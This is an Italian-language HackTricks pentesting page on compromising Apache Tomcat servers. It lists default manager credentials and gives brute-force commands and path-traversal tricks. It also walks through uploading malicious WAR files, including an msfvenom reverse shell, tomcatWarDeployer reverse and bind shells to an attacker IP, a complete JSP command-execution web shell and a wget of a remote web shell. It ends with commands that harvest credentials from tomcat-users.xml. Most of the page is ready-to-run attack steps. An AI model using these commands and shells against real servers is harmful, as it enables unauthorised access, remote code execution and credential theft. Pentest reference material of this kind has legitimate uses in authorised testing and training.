.. | ||
basic-tomcat-info.md | ||
README.md |
Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Discovery
- Di solito gira sulla porta 8080
- Errore comune di Tomcat:
Enumeration
Version Identification
Per trovare la versione di Apache Tomcat, può essere eseguita un semplice comando:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Questo cercherà il termine "Tomcat" nella pagina dell'indice della documentazione, rivelando la versione nel tag del titolo della risposta HTML.
Posizione dei file Manager
Identificare le posizioni esatte delle directory /manager
e /host-manager
è cruciale poiché i loro nomi potrebbero essere alterati. Si consiglia una ricerca brute-force per localizzare queste pagine.
Enumerazione degli username
Per le versioni di Tomcat precedenti alla 6, è possibile enumerare gli username tramite:
msf> use auxiliary/scanner/http/tomcat_enum
Credenziali Predefinite
La directory /manager/html
è particolarmente sensibile in quanto consente il caricamento e la distribuzione di file WAR, il che può portare all'esecuzione di codice. Questa directory è protetta da autenticazione HTTP di base, con credenziali comuni che sono:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Queste credenziali possono essere testate utilizzando:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Un'altra directory notevole è /manager/status
, che visualizza la versione di Tomcat e del sistema operativo, aiutando nell'identificazione delle vulnerabilità.
Attacco Brute Force
Per tentare un attacco brute force sulla directory manager, si può usare:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Vulnerabilità comuni
Divulgazione della password nel backtrace
Accedere a /auth.jsp
può rivelare la password in un backtrace in circostanze fortunate.
Doppia codifica URL
La vulnerabilità CVE-2007-1860 in mod_jk
consente la codifica URL doppia per il path traversal, consentendo l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.
Per accedere al web di gestione di Tomcat vai a: pathTomcat/%252E%252E/manager/html
/examples
Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a divulgazione di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo completo, dovrebbero essere controllati per accessi non autorizzati e potenziale sfruttamento. Trova ulteriori informazioni qui
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Sfruttamento del Path Traversal
In alcune configurazioni vulnerabili di Tomcat puoi ottenere accesso a directory protette in Tomcat utilizzando il percorso: /..;/
Quindi, ad esempio, potresti essere in grado di accedere alla pagina del manager di Tomcat accedendo a: www.vulnerable.com/lalala/..;/manager/html
Un altro modo per bypassare i percorsi protetti utilizzando questo trucco è accedere a http://www.vulnerable.com/;param=value/manager/html
RCE
Infine, se hai accesso al Tomcat Web Application Manager, puoi caricare e distribuire un file .war (eseguire codice).
Limitazioni
Potrai distribuire un WAR solo se hai sufficienti privilegi (ruoli: admin, manager e manager-script). Questi dettagli possono essere trovati in tomcat-users.xml solitamente definito in /usr/share/tomcat9/etc/tomcat-users.xml
(varia tra le versioni) (vedi POST section).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Crea il war da distribuire:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Carica il file
revshell.war
e accedi ad esso (/revshell/
):
Bind e reverse shell con tomcatWarDeployer.py
In alcuni scenari questo non funziona (ad esempio versioni obsolete di sun)
Scarica
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Reverse shell
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind shell
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Utilizzando Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Metodo manuale - Web shell
Crea index.jsp con questo contenuto:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Puoi anche installare questo (consente upload, download ed esecuzione di comandi): http://vonloesch.de/filebrowser.html
Metodo Manuale 2
Ottieni una shell web JSP come questa e crea un file WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Il nome del file delle credenziali di Tomcat è tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Altri modi per raccogliere le credenziali di Tomcat:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Altri strumenti di scansione tomcat
Riferimenti
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.